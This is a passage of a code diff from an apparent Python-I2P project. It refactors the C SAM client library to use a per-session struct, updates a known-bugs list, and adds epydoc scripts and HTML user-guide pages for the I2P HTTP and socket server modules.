static void sam_parse(sam_sess_t *session, char *s)
{
assert(session != NULL);
#define SAM_DGRAM_RECEIVED_REPLY "DATAGRAM RECEIVED"
#define SAM_NAMING_REPLY "NAMING REPLY"
#define SAM_NAMING_REPLY_OK "NAMING REPLY RESULT=OK"
@ -305,10 +316,14 @@ static void sam_parse(char *s)
data is sent, the extra NUL character will
just be ignored by the client program,
because it is not added to the size */
if (sam_read2(data, size) != -1) {
if (data == NULL) {
SAMLOGS("Out of memory");
abort();
}
if (sam_read2(session, data, size) != -1) {
p = data + size;
*p = '\0'; /* see above NUL note */
sam_dgramback(dest, data, size); /* `data' must be freed */
sam_dgramback(session, dest, data, size); /* `data' must be freed */
} else
free(data);
@ -381,17 +396,17 @@ static void sam_parse(char *s)
assert(p != NULL);
p++;
if (strncmp(p, "OK", strlen("OK")) == 0)
sam_closeback(stream_id, SAM_OK);
sam_closeback(session, stream_id, SAM_OK);
else if (strncmp(p, "CANT_REACH_PEER", strlen("CANT_REACH_PEER")) == 0)
sam_closeback(stream_id, SAM_CANT_REACH_PEER);
sam_closeback(session, stream_id, SAM_CANT_REACH_PEER);
else if (strncmp(p, "I2P_ERROR", strlen("I2P_ERROR")) == 0)
sam_closeback(stream_id, SAM_I2P_ERROR);
sam_closeback(session, stream_id, SAM_I2P_ERROR);
else if (strncmp(p, "PEER_NOT_FOUND", strlen("PEER_NOT_FOUND")) == 0)
sam_closeback(stream_id, SAM_PEER_NOT_FOUND);
sam_closeback(session, stream_id, SAM_PEER_NOT_FOUND);
else if (strncmp(p, "TIMEOUT", strlen("TIMEOUT")) == 0)
sam_closeback(stream_id, SAM_TIMEOUT);
sam_closeback(session, stream_id, SAM_TIMEOUT);
else
sam_closeback(stream_id, SAM_UNKNOWN);
sam_closeback(session, stream_id, SAM_UNKNOWN);
return;
@ -410,7 +425,7 @@ static void sam_parse(char *s)
p = strstr(s, "N="); /* DESTINATION= */
p += 2;
strlcpy(dest, p, sizeof dest);
sam_connectback(stream_id, dest);
sam_connectback(session, stream_id, dest);
return;
@ -439,10 +454,15 @@ static void sam_parse(char *s)
data is sent, the extra NUL character will
just be ignored by the client program,
because it is not added to the size */
if (sam_read2(data, size) != -1) {
if (data == NULL) {
SAMLOGS("Out of memory");
abort();
}
if (sam_read2(session, data, size) != -1) {
p = data + size;
*p = '\0'; /* see above NUL note */
sam_databack(stream_id, data, size); /* `data' must be freed */
sam_databack(session, stream_id, data, size);
/* ^^^ `data' must be freed ^^^*/
} else
free(data);
@ -463,21 +483,21 @@ static void sam_parse(char *s)
assert(stream_id != 0);
if (strncmp(s, SAM_STREAM_STATUS_REPLY_OK,
strlen(SAM_STREAM_STATUS_REPLY_OK)) == 0)
sam_statusback(stream_id, SAM_OK);
sam_statusback(session, stream_id, SAM_OK);
else if (strncmp(s, SAM_STREAM_STATUS_REPLY_CRP,
strlen(SAM_STREAM_STATUS_REPLY_CRP)) == 0)
sam_statusback(stream_id, SAM_CANT_REACH_PEER);
sam_statusback(session, stream_id, SAM_CANT_REACH_PEER);
else if (strncmp(s, SAM_STREAM_STATUS_REPLY_I2E,
strlen(SAM_STREAM_STATUS_REPLY_I2E)) == 0)
sam_statusback(stream_id, SAM_I2P_ERROR);
sam_statusback(session, stream_id, SAM_I2P_ERROR);
else if (strncmp(s, SAM_STREAM_STATUS_REPLY_IK,
strlen(SAM_STREAM_STATUS_REPLY_IK)) == 0)
sam_statusback(stream_id, SAM_INVALID_KEY);
sam_statusback(session, stream_id, SAM_INVALID_KEY);
else if (strncmp(s, SAM_STREAM_STATUS_REPLY_TO,
strlen(SAM_STREAM_STATUS_REPLY_TO)) == 0)
sam_statusback(stream_id, SAM_TIMEOUT);
sam_statusback(session, stream_id, SAM_TIMEOUT);
else
sam_statusback(stream_id, SAM_UNKNOWN);
sam_statusback(session, stream_id, SAM_UNKNOWN);
return;
@ -492,17 +512,18 @@ static void sam_parse(char *s)
*
* Returns: true if we read anything, or false if nothing was there
*/
bool sam_read_buffer()
bool sam_read_buffer(sam_sess_t *session)
{
assert(session != NULL);
bool read_something = false;
char reply[SAM_REPLY_LEN];
if (sam_readable()) {
if (sam_readable(session)) {
do {
sam_read1(reply, SAM_REPLY_LEN);
sam_read1(session, reply, SAM_REPLY_LEN);
read_something = true;
sam_parse(reply);
} while (sam_readable());
sam_parse(session, reply);
} while (sam_readable(session));
}
return read_something;
@ -522,24 +543,25 @@ bool sam_read_buffer()
*
* Returns: number of bytes read, or -1 on error
*/
static ssize_t sam_read1(char *buf, size_t n)
static ssize_t sam_read1(sam_sess_t *session, char *buf, size_t n)
{
assert(session != NULL);
size_t nleft;
ssize_t nread;
char *p;
*buf = '\0'; /* this forces `buf' to be a string even if there is a
sam_read1 error return */
if (!samd_connected) {
if (!session->connected) {
SAMLOGS("Cannot read from SAM because the SAM connection is closed");
sam_diedback();
sam_diedback(session);
return -1;
}
assert(n > 0);
p = buf;
nleft = n;
while (nleft > 0) {
nread = recv(samd, p, 1, 0);
nread = recv(session->sock, p, 1, 0);
if (nread == -1) {
if (errno == EINTR) /* see Unix Network Pgming vol 1, Sec. 5.9 */
continue;
@ -550,14 +572,14 @@ static ssize_t sam_read1(char *buf, size_t n)
#else
SAMLOG("recv() failed: %s", strerror(errno));
#endif
sam_close();
sam_diedback();
sam_close(session);
sam_diedback(session);
return -1;
}
} else if (nread == 0) { /* EOF */
SAMLOGS("Connection closed by the SAM host");
sam_close();
sam_diedback();
sam_close(session);
sam_diedback(session);
return -1;
}
assert(nread == 1);
@ -589,22 +611,23 @@ static ssize_t sam_read1(char *buf, size_t n)
*
* Returns: number of bytes read, or -1 on error
*/
static ssize_t sam_read2(void *buf, size_t n)
static ssize_t sam_read2(sam_sess_t *session, void *buf, size_t n)
{
assert(session != NULL);
size_t nleft;
ssize_t nread;
void *p;
if (!samd_connected) {
if (!session->connected) {
SAMLOGS("Cannot read from SAM because the SAM connection is closed");
sam_diedback();
sam_diedback(session);
return -1;
}
assert(n > 0);
p = buf;
nleft = n;
while (nleft > 0) {
nread = recv(samd, p, nleft, 0);
nread = recv(session->sock, p, nleft, 0);
if (nread == -1) {
if (errno == EINTR) /* see Unix Network Pgming vol 1, Sec. 5.9 */
continue;
@ -615,14 +638,14 @@ static ssize_t sam_read2(void *buf, size_t n)
#else
SAMLOG("recv() failed: %s", strerror(errno));
#endif
sam_close();
sam_diedback();
sam_close(session);
sam_diedback(session);
return -1;
}
} else if (nread == 0) { /* EOF */
SAMLOGS("Connection closed by the SAM host");
sam_close();
sam_diedback();
sam_close(session);
sam_diedback(session);
return -1;
}
nleft -= nread;
@ -640,23 +663,23 @@ static ssize_t sam_read2(void *buf, size_t n)
*
* Returns: true if data is waiting, false otherwise
*/
static bool sam_readable()
static bool sam_readable(sam_sess_t *session)
{
assert(session != NULL);
fd_set rset; /* set of readable descriptors */
struct timeval tv;
int rc;
if (!samd_connected) {
if (!session->connected) {
SAMLOGS("Cannot read from SAM because the SAM connection is closed");
sam_diedback();
sam_diedback(session);
return false;
}
/* it seems like there should be a better way to do this (i.e. not select)*/
FD_ZERO(&rset);
FD_SET(samd, &rset);
FD_SET(session->sock, &rset);
tv.tv_sec = 0;
tv.tv_usec = 10;
rc = select(samd + 1, &rset, NULL, NULL, &tv);
rc = select(session->sock + 1, &rset, NULL, NULL, &tv);
if (rc == 0)
return false;
else if (rc > 0)
@ -674,15 +697,17 @@ static bool sam_readable()
/*
* Adds data to the send queue
*
* stream_id - stream number to send to if the queue is full
* sendq - the send queue
* data - data to add
* dsize - the size of the data
*
* Returns: true on success, false on error
*/
void sam_sendq_add(sam_sid_t stream_id, sam_sendq_t **sendq, const void *data,
size_t dsize)
void sam_sendq_add(sam_sess_t *session, sam_sid_t stream_id,
sam_sendq_t **sendq, const void *data, size_t dsize)
{
assert(session != NULL);
assert(dsize >= 0);
if (dsize == 0) {
SAMLOGS("dsize is 0 - doing nothing");
@ -704,7 +729,7 @@ void sam_sendq_add(sam_sid_t stream_id, sam_sendq_t **sendq, const void *data,
if ((*sendq)->size + dsize == SAM_STREAM_PAYLOAD_MAX) {
memcpy((*sendq)->data + (*sendq)->size, data, dsize);
(*sendq)->size = SAM_STREAM_PAYLOAD_MAX;
sam_sendq_flush(stream_id, sendq);
sam_sendq_flush(session, stream_id, sendq);
return;
}
@ -713,8 +738,8 @@ void sam_sendq_add(sam_sid_t stream_id, sam_sendq_t **sendq, const void *data,
memcpy((*sendq)->data + (*sendq)->size, data, s); //append as much as we can
dsize -= s; /* update dsize to the size of whatever data hasn't been sent*/
(*sendq)->size = SAM_STREAM_PAYLOAD_MAX; /* it's a full packet */
sam_sendq_flush(stream_id, sendq); /* send the queued data */
sam_sendq_add(stream_id, sendq, data + s, dsize); /* recurse the rest */
sam_sendq_flush(session, stream_id, sendq); /* send the queued data */
sam_sendq_add(session, stream_id, sendq, data + s, dsize); /* recurse */
return;
}
@ -729,7 +754,15 @@ static sam_sendq_t *sam_sendq_create()
sam_sendq_t *sendq;
sendq = malloc(sizeof(sam_sendq_t));
if (sendq == NULL) {
SAMLOGS("Out of memory");
abort();
}
sendq->data = malloc(SAM_STREAM_PAYLOAD_MAX);
if (sendq->data == NULL) {
SAMLOGS("Out of memory");
abort();
}
/* ^^ a waste of memory perhaps, but more efficient than realloc'ing every
* time data is added the to queue */
sendq->size = 0;
@ -740,12 +773,14 @@ static sam_sendq_t *sam_sendq_create()
/*
* Sends the data in the send queue to the specified stream
*
* sendq - the send queue
* stream_id - stream number to send to
* sendq - the send queue
*/
void sam_sendq_flush(sam_sid_t stream_id, sam_sendq_t **sendq)
void sam_sendq_flush(sam_sess_t *session, sam_sid_t stream_id,
sam_sendq_t **sendq)
{
sam_stream_send(stream_id, (*sendq)->data, (*sendq)->size);
assert(session != NULL);
sam_stream_send(session, stream_id, (*sendq)->data, (*sendq)->size);
/* we now free it in case they aren't going to use it anymore */
free((*sendq)->data);
free(*sendq);
@ -754,18 +789,53 @@ void sam_sendq_flush(sam_sid_t stream_id, sam_sendq_t **sendq)
return;
}
/*
* Allocates memory for the session and sets its default values
*
* session - pointer to a previously allocated sam_sess_t to initalise, or NULL
* if you want memory to be allocated by this function
*/
sam_sess_t *sam_session_init(sam_sess_t *session)
{
if (session == NULL) {
session = malloc(sizeof(sam_sess_t));
if (session == NULL) {
SAMLOGS("Out of memory");
abort();
}
}
session->connected = false;
session->prev_id = 0;
return session;
}
/*
* Frees memory used by the session and sets the pointer to NULL
*
* session - pointer to a pointer to a sam_sess_t
*/
void sam_session_free(sam_sess_t **session)
{
assert(*session != NULL);
free(*session);
*session = NULL;
}
/*
* Sends the second SAM handshake command and checks the reply
*
* destname - destination name for this program, or "TRANSIENT" to create a
* random temporary destination
* style - type of connection to use (SAM_STREAM, SAM_DGRAM, or SAM_RAW)
* tunneldepth - length of the I2P tunnels created by this program
*
* Returns: SAM error code
*/
static samerr_t sam_session_create(const char *destname, sam_conn_t style,
uint_t tunneldepth)
static samerr_t sam_session_create(sam_sess_t *session, const char *destname,
sam_conn_t style, uint_t tunneldepth)
{
assert(session != NULL);
#define SAM_SESSTATUS_REPLY_OK "SESSION STATUS RESULT=OK"
#define SAM_SESSTATUS_REPLY_DD "SESSION STATUS RESULT=DUPLICATED_DEST"
#define SAM_SESSTATUS_REPLY_I2E "SESSION STATUS RESULT=I2P_ERROR"
@ -790,8 +860,8 @@ static samerr_t sam_session_create(const char *destname, sam_conn_t style,
assert(false); /* unimplemented */
}
sam_write(cmd, strlen(cmd));
sam_read1(reply, SAM_REPLY_LEN);
sam_write(session, cmd, strlen(cmd));
sam_read1(session, reply, SAM_REPLY_LEN);
if (strncmp(reply, SAM_SESSTATUS_REPLY_OK,
strlen(SAM_SESSTATUS_REPLY_OK)) == 0)
return SAM_OK;
@ -816,20 +886,21 @@ static samerr_t sam_session_create(const char *destname, sam_conn_t style,
*
* Returns: true on sucess, false on error, with errno set
*/
bool sam_socket_connect(const char *host, uint16_t port)
bool sam_socket_connect(sam_sess_t *session, const char *host, uint16_t port)
{
assert(session != NULL);
struct sockaddr_in hostaddr;
int rc;
char ipaddr[INET_ADDRSTRLEN];
samd = socket(AF_INET, SOCK_STREAM, 0);
session->sock = socket(AF_INET, SOCK_STREAM, 0);
#ifdef WINSOCK
if (samd == INVALID_SOCKET) {
if (session->sock == INVALID_SOCKET) {
SAMLOG("socket() failed: %s", sam_winsock_strerror(WSAGetLastError()));
return false;
}
#else
if (samd == -1) {
if (session->sock == -1) {
SAMLOG("socket() failed: %s", strerror(errno));
return false;
}
@ -852,7 +923,7 @@ bool sam_socket_connect(const char *host, uint16_t port)
} else if (rc == -1)
return false;
rc = connect(samd, (struct sockaddr *)&hostaddr, sizeof hostaddr);
rc = connect(session->sock, (struct sockaddr *)&hostaddr, sizeof hostaddr);
if (rc == -1) {
#ifdef WINSOCK
SAMLOG("connect() failed: %s", sam_winsock_strerror(WSAGetLastError()));
@ -862,7 +933,7 @@ bool sam_socket_connect(const char *host, uint16_t port)
return false;
}
samd_connected = true;
session->connected = true;
return true;
}
@ -906,10 +977,11 @@ retry:
}
a.s_addr = ((struct in_addr *)h->h_addr)->s_addr;
#ifdef NO_INET_NTOP
/* inet_ntoa() was very poorly designed! */
char *tmp;
tmp = inet_ntoa(a);
assert(tmp != NULL);
strlcpy(ipaddr, tmp, INET_ADDRSTRLEN); /* inet_ntoa() was very poorly designed */
strlcpy(ipaddr, tmp, INET_ADDRSTRLEN);
return true;
#else
if (inet_ntop(AF_INET, &a, ipaddr, INET_ADDRSTRLEN) != NULL) {
@ -926,8 +998,9 @@ retry:
*
* stream_id - stream number to close
*/
void sam_stream_close(sam_sid_t stream_id)
void sam_stream_close(sam_sess_t *session, sam_sid_t stream_id)
{
assert(session != NULL);
char cmd[SAM_CMD_LEN];
#ifdef FAST32_IS_LONG
@ -935,7 +1008,7 @@ void sam_stream_close(sam_sid_t stream_id)
#else
snprintf(cmd, sizeof cmd, "STREAM CLOSE ID=%d\n", stream_id);
#endif
sam_write(cmd, strlen(cmd));
sam_write(session, cmd, strlen(cmd));
return;
}
@ -947,22 +1020,22 @@ void sam_stream_close(sam_sid_t stream_id)
*
* Returns: stream id number
*/
sam_sid_t sam_stream_connect(const sam_pubkey_t dest)
sam_sid_t sam_stream_connect(sam_sess_t *session, const sam_pubkey_t dest)
{
assert(session != NULL);
char cmd[SAM_PKCMD_LEN];
static sam_sid_t id = 0;
id++; /* increment the id for the connection */
session->prev_id++; /* increment the id for the connection */
#ifdef FAST32_IS_LONG
snprintf(cmd, sizeof cmd, "STREAM CONNECT ID=%ld DESTINATION=%s\n",
id, dest);
session->prev_id, dest);
#else
snprintf(cmd, sizeof cmd, "STREAM CONNECT ID=%d DESTINATION=%s\n",
id, dest);
session->prev_id, dest);
#endif
sam_write(cmd, strlen(cmd));
sam_write(session, cmd, strlen(cmd));
return id;
return session->prev_id;
}
/*
@ -974,8 +1047,10 @@ sam_sid_t sam_stream_connect(const sam_pubkey_t dest)
*
* Returns: true on success, false on failure
*/
samerr_t sam_stream_send(sam_sid_t stream_id, const void *data, size_t size)
samerr_t sam_stream_send(sam_sess_t *session, sam_sid_t stream_id,
const void *data, size_t size)
{
assert(session != NULL);
char cmd[SAM_CMD_LEN];
if (size < 1 || size > SAM_STREAM_PAYLOAD_MAX) {
@ -983,7 +1058,7 @@ samerr_t sam_stream_send(sam_sid_t stream_id, const void *data, size_t size)
SAMLOG("Invalid data send size (%u bytes) for stream %d",
size, stream_id);
#else
SAMLOG("Invalid data send size (%dz bytes) for stream %d",
SAMLOG("Invalid data send size (%zu bytes) for stream %d",
size, stream_id);
#endif
return SAM_TOO_BIG;
@ -997,11 +1072,11 @@ samerr_t sam_stream_send(sam_sid_t stream_id, const void *data, size_t size)
stream_id, size);
#endif
#else
snprintf(cmd, sizeof cmd, "STREAM SEND ID=%d SIZE=%dz\n",
snprintf(cmd, sizeof cmd, "STREAM SEND ID=%d SIZE=%zu\n",
stream_id, size);
#endif
sam_write(cmd, strlen(cmd));
sam_write(data, size);
sam_write(session, cmd, strlen(cmd));
sam_write(session, data, size);
return SAM_OK;
}
@ -1197,7 +1272,7 @@ const char *sam_winsock_strerror(int code)
return "This is a nonrecoverable error";
case WSANO_DATA:
return "Valid name, no data record of requested type";
/* None of this shit compiles under Mingw - who knows why...
/* None of this shit compiles under Mingw - who knows why...
case WSA_INVALID_HANDLE:
return "Specified event object handle is invalid";
case WSA_INVALID_PARAMETER:
@ -1215,8 +1290,7 @@ const char *sam_winsock_strerror(int code)
case WSAINVALIDPROVIDER:
return "Invalid service provider version number";
case WSAPROVIDERFAILEDINIT:
return "Unable to initialize a service provider";
*/
return "Unable to initialize a service provider"; */
case WSASYSCALLFAILURE:
return "System call failure";
default:
@ -1233,15 +1307,16 @@ const char *sam_winsock_strerror(int code)
*
* Returns: `n', or -1 on error
*/
static ssize_t sam_write(const void *buf, size_t n)
static ssize_t sam_write(sam_sess_t *session, const void *buf, size_t n)
{
assert(session != NULL);
size_t nleft;
ssize_t nwritten;
const char *p;
if (!samd_connected) {
if (!session->connected) {
SAMLOGS("Cannot write to SAM because the SAM connection is closed");
sam_diedback();
sam_diedback(session);
return -1;
}
#if SAM_WIRETAP
@ -1257,7 +1332,7 @@ static ssize_t sam_write(const void *buf, size_t n)
p = buf;
nleft = n;
while (nleft > 0) {
nwritten = send(samd, p, nleft, 0);
nwritten = send(session->sock, p, nleft, 0);
if (nwritten <= 0) {
if (errno == EINTR) /* see Unix Network Pgming vol 1, Sec. 5.9 */
continue;
@ -1268,8 +1343,8 @@ static ssize_t sam_write(const void *buf, size_t n)
#else
SAMLOG("send() failed: %s", strerror(errno));
#endif
sam_close();
sam_diedback();
sam_close(session);
sam_diedback(session);
return -1;
}
}

View File

@ -1,18 +1,16 @@
Known Bugs:
* TunnelServer may crash the I2P router in the following
ways when a large file is downloaded:
* Out of memory exception (for large files)
* Mysterious router death with no errors in the router logs
(more recently)
* BUG! in SAM proxy
See http://oregonstate.edu/~barnesc/temp/sam_crash.txt
* A small number of datagram packets sent are lost (even in a local
loopback). This is apparently a bug in I2P.
* tunnel.TunnelServer may crash the I2P router when a 20+ MB file
is downloaded at 200+ KB/s (only possible with local downloads).
* Errors raised for sockets are non entirely consistent.
See todo.txt for how to fix this.
* A session does not close until a program exits.
This should be fine once I2P is patched to allow multiple
programs to use a single session at once.
* i2p.router.start() does not work.
* i2p.router.start() does not work.
Fixed Bugs:
* Large downloads are no longer corrupted (fixed by jrandom in I2P
core).
* Datagram packets are no longer lost, for a local server and
client (fixed by jrandom in I2P core).

View File

@ -0,0 +1,18 @@
#!/usr/local/bin/python
#
# Call the command line interface for Epydoc.
#
# We have to do some path magic to prevent Python from getting
# confused about the difference between this epydoc module, and the
# real epydoc package. So sys.path[0], which contains the directory
# of the script.
import sys, os.path
script_path = os.path.abspath(sys.path[0])
sys.path = [p for p in sys.path if
os.path.abspath(p) != script_path]
from epydoc.cli import cli
cli()

View File

@ -0,0 +1,35 @@
#! /usr/bin/env python
"""
Make epydoc HTML documentation in the 'html' subdirectory.
"""
import epydoc as epydoc_
import inspect
import os, sys
def epydoc(args):
"""Run epydoc (command line) with given argument string."""
os.system('python calldoc.py ' + args)
def makedoc():
"""Make all epydoc HTML documentation for Python I2P library."""
modlist = [
'i2p',
'i2p.eep',
'i2p.tunnel',
'i2p.router',
'i2p.socket',
'i2p.select',
'i2p.samclasses',
'i2p.CGIHTTPServer',
'i2p.SimpleHTTPServer',
'i2p.BaseHTTPServer',
'i2p.SocketServer',
'i2p.pylib'
]
modlist.reverse()
epydoc('--html ' + ' '.join(modlist))
if __name__ == '__main__':
makedoc()

View File

@ -4,9 +4,7 @@
<meta http-equiv="Content-type" content="text/html; charset=utf-8">
<meta name="robots" content="index,follow">
<link rel="shortcut icon" href="/favicon.ico">
<script type="text/javascript" src="/~barnesc/wiki/stylesheets/wikibits.js"></script>
<style type='text/css'><!--
@import url("/~barnesc/wiki/stylesheets/wikiprintable.css");
/*/*/
a.new, #quickbar a.new { color: #CC2200; }
#quickbar { position: absolute; top: 4px; left: 4px; border-right: 1px solid gray; }

View File

@ -0,0 +1,91 @@
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html lang="en"><head><title>User's Guide:i2p.BaseHTTPServer - Wikipedia</title>
<meta http-equiv="Content-type" content="text/html; charset=utf-8">
<meta name="robots" content="index,follow">
<link rel="shortcut icon" href="/favicon.ico">
<style type='text/css'><!--
/*/*/
a.new, #quickbar a.new { color: #CC2200; }
#quickbar { position: absolute; top: 4px; left: 4px; border-right: 1px solid gray; }
#article { margin-left: 152px; margin-right: 4px; }
/* */
//--></style>
</head>
<body bgcolor='#FFFFFF' onload=''>
<h1 class='pagetitle'>User's Guide:i2p.BaseHTTPServer</h1><p class='subtitle'>From Python-I2P.
<div class='bodytext'>
Emulates Python BaseHTTPServer module using I2P sockets.
<p>
<h2><a name="Overview"> Overview </a></h2>
<p>
The Python module is described at <a href="http://www.python.org/doc/current/lib/module-BaseHTTPServer.html" class='printable' title="http://www.python.org/doc/current/lib/module-BaseHTTPServer.html">http://www.python.org/doc/current/lib/module-BaseHTTPServer.html</a>
<p>
To get a server going, use:
<p>
<ul ><pre>
&gt;&gt;&gt; from i2p import BaseHTTPServer
&gt;&gt;&gt; BaseHTTPServer.test().
</pre>
</ul >
<p>
Consult the documentation for function test() to change basic server settings, such as the session name.
<p>
A fully customizable example:
<p>
<ul ><pre>
&gt;&gt;&gt; from i2p import BaseHTTPServer
&gt;&gt;&gt; session = &quot;mytestxxx.i2p&quot; # SAM session name
&gt;&gt;&gt; class MyServer(BaseHTTPServer.HTTPServer): pass
&gt;&gt;&gt; class MyRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler): pass
&gt;&gt;&gt; httpd = MyServer(session, MyRequestHandler)
&gt;&gt;&gt; httpd.socket.dest
(Base64 Destination of server)
&gt;&gt;&gt; httpd.serve_forever()
</pre>
</ul >
<p>
<h2><a name="Classes"> Classes </a></h2>
<p>
class <strong>BaseHTTPRequestHandler</strong>
<ul ><pre>
Same interface as Python class BaseHTTPServer.BaseHTTPRequestHandler.
</pre>
</ul >
class <strong>HTTPServer</strong>
<ul ><pre>
Same interface as Python class BaseHTTPServer.HTTPServer.
</pre>
</ul >
<p>
<h2><a name="Functions"> Functions </a></h2>
<p>
<strong>test</strong>(HandlerClass=BaseHTTPRequestHandler, ServerClass=HTTPServer, protocol='HTTP/1.0', session='mytestxxx.i2p')
<ul ><pre>
Test the HTTP request handler class.
This runs an I2P TCP server under SAM session 'session'. If a single command
line argument is given, the argument is used instead as the SAM session name.
</pre>
</ul >
<p>
</div>
</body></html>

View File

@ -0,0 +1,90 @@
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html lang="en"><head><title>User's Guide:i2p.CGIHTTPServer - Wikipedia</title>
<meta http-equiv="Content-type" content="text/html; charset=utf-8">
<meta name="robots" content="index,follow">
<link rel="shortcut icon" href="/favicon.ico">
<style type='text/css'><!--
/*/*/
a.new, #quickbar a.new { color: #CC2200; }
#quickbar { position: absolute; top: 4px; left: 4px; border-right: 1px solid gray; }
#article { margin-left: 152px; margin-right: 4px; }
/* */
//--></style>
</head>
<body bgcolor='#FFFFFF' onload=''>
<h1 class='pagetitle'>User's Guide:i2p.CGIHTTPServer</h1><p class='subtitle'>From Python-I2P.
<div class='bodytext'>
Module <code >i2p.CGIHTTPServer</code > emulates the Python CGIHTTPServer module using I2P sockets.
<p>
<h2><a name="Overview"> Overview </a></h2>
<p>
The Python module is described at <a href="http://www.python.org/doc/current/lib/module-CGIHTTPServer.html" class='printable' title="http://www.python.org/doc/current/lib/module-CGIHTTPServer.html">http://www.python.org/doc/current/lib/module-CGIHTTPServer.html</a>
<p>
To get a server going, use:
<p>
<ul ><pre>
&gt;&gt;&gt; from i2p import CGIHTTPServer
&gt;&gt;&gt; CGIHTTPServer.test().
</pre>
</ul >
<p>
Consult the documentation for function test() to change basic server settings, such as the session name.
<p>
A fully customizable example:
<p>
<ul ><pre>
&gt;&gt;&gt; from i2p import BaseHTTPServer, CGIHTTPServer
&gt;&gt;&gt; session = &quot;mytestxxx.i2p&quot; # SAM session name
&gt;&gt;&gt; class MyServer(BaseHTTPServer.HTTPServer): pass
&gt;&gt;&gt; class MyRequestHandler(CGIHTTPServer.CGIHTTPRequestHandler): pass
&gt;&gt;&gt; httpd = MyServer(session, MyRequestHandler)
&gt;&gt;&gt; httpd.socket.dest
(Base64 Destination of server)
&gt;&gt;&gt; httpd.serve_forever()
</pre>
</ul >
<p>
<h2><a name="Classes"> Classes </a></h2>
<p>
class <strong>CGIHTTPRequestHandler</strong>
<ul ><pre>
Same interface as Python class CGIHTTPServer.CGIHTTPRequestHandler.
</pre>
</ul >
<p>
<h2><a name="Functions"> Functions </a></h2>
<p>
<strong>test</strong>(HandlerClass=CGIHTTPRequestHandler,
ServerClass=i2p.BaseHTTPServer.HTTPServer,
session='mytestxxx.i2p')
<ul ><pre>
Test the HTTP CGI request handler class.
This runs an I2P TCP server under SAM session 'session'. If a single
command line argument is given, the argument is used instead as the SAM session
name.
</pre>
</ul >
<p>
</div>
</body></html>

View File

@ -0,0 +1,88 @@
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html lang="en"><head><title>User's Guide:i2p.SimpleHTTPServer - Wikipedia</title>
<meta http-equiv="Content-type" content="text/html; charset=utf-8">
<meta name="robots" content="index,follow">
<link rel="shortcut icon" href="/favicon.ico">
<style type='text/css'><!--
/*/*/
a.new, #quickbar a.new { color: #CC2200; }
#quickbar { position: absolute; top: 4px; left: 4px; border-right: 1px solid gray; }
#article { margin-left: 152px; margin-right: 4px; }
/* */
//--></style>
</head>
<body bgcolor='#FFFFFF' onload=''>
<h1 class='pagetitle'>User's Guide:i2p.SimpleHTTPServer</h1><p class='subtitle'>From Python-I2P.
<div class='bodytext'>
Emulates Python SimpleHTTPServer module using I2P sockets.
<p>
<h2><a name="Overview"> Overview </a></h2>
<p>
The Python module is described at <a href="http://www.python.org/doc/current/lib/module-SimpleHTTPServer.html" class='printable' title="http://www.python.org/doc/current/lib/module-SimpleHTTPServer.html">http://www.python.org/doc/current/lib/module-SimpleHTTPServer.html</a>
<p>
To get a server going, use:
<p>
<ul ><pre>
&gt;&gt;&gt; from i2p import SimpleHTTPServer
&gt;&gt;&gt; SimpleHTTPServer.test().
</pre>
</ul >
<p>
Consult the documentation for function test() to change basic server settings, such as the session name.
<p>
A fully customizable example:
<p>
<ul ><pre>
&gt;&gt;&gt; from i2p import BaseHTTPServer, SimpleHTTPServer
&gt;&gt;&gt; session = &quot;mytestxxx.i2p&quot; # SAM session name
&gt;&gt;&gt; class MyServer(BaseHTTPServer.HTTPServer): pass
&gt;&gt;&gt; class MyRequestHandler(SimpleHTTPServer.SimpleHTTPRequestHandler): pass
&gt;&gt;&gt; httpd = MyServer(session, MyRequestHandler)
&gt;&gt;&gt; httpd.socket.dest
(Base64 Destination of server)
&gt;&gt;&gt; httpd.serve_forever()
</pre>
</ul >
<p>
<h2><a name="Classes"> Classes </a></h2>
<p>
class <strong>SimpleHTTPRequestHandler</strong>
<ul ><pre>
Same interface as Python class SimpleHTTPServer.SimpleHTTPRequestHandler.
</pre>
</ul >
<p>
<h2><a name="Functions"> Functions </a></h2>
<p>
<strong>test</strong>(HandlerClass=SimpleHTTPRequestHandler, ServerClass= i2p.BaseHTTPServer.HTTPServer, session='mytestxxx.i2p')
<ul ><pre>
Test the HTTP simple request handler class.
This runs an I2P TCP server under SAM session 'session'. If a single command
line argument is given, the argument is used instead as the SAM session name.
</pre>
</ul >
<p>
</div>
</body></html>

View File

@ -0,0 +1,50 @@
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html lang="en"><head><title>User's Guide:i2p.SocketServer - Wikipedia</title>
<meta http-equiv="Content-type" content="text/html; charset=utf-8">
<meta name="robots" content="index,follow">
<link rel="shortcut icon" href="/favicon.ico">
<style type='text/css'><!--
/*/*/
a.new, #quickbar a.new { color: #CC2200; }
#quickbar { position: absolute; top: 4px; left: 4px; border-right: 1px solid gray; }
#article { margin-left: 152px; margin-right: 4px; }
/* */
//--></style>
</head>
<body bgcolor='#FFFFFF' onload=''>
<h1 class='pagetitle'>User's Guide:i2p.SocketServer</h1><p class='subtitle'>From Python-I2P.
<div class='bodytext'>
Emulates Python SocketServer module using I2P sockets.
<p>
The Python module is described at <a href="http://www.python.org/doc/current/lib/module-SocketServer.html" class='printable' title="http://www.python.org/doc/current/lib/module-SocketServer.html">http://www.python.org/doc/current/lib/module-SocketServer.html</a>
<p>
<h2><a name="Classes"> Classes </a></h2>
<p>
<ul ><pre>
BaseRequestHandler
BaseServer
DatagramRequestHandler
ForkingMixIn
ForkingTCPServer
ForkingUDPServer
StreamRequestHandler
TCPServer
ThreadingMixIn
ThreadingTCPServer
ThreadingUDPServer
UDPServer
</pre>
</ul >
<p>
</div>
</body></html>

View File

@ -4,9 +4,7 @@
<meta http-equiv="Content-type" content="text/html; charset=utf-8">
<meta name="robots" content="index,follow">
<link rel="shortcut icon" href="/favicon.ico">
<script type="text/javascript" src="/~barnesc/wiki/stylesheets/wikibits.js"></script>
<style type='text/css'><!--
@import url("/~barnesc/wiki/stylesheets/wikiprintable.css");
/*/*/
a.new, #quickbar a.new { color: #CC2200; }
#quickbar { position: absolute; top: 4px; left: 4px; border-right: 1px solid gray; }

View File

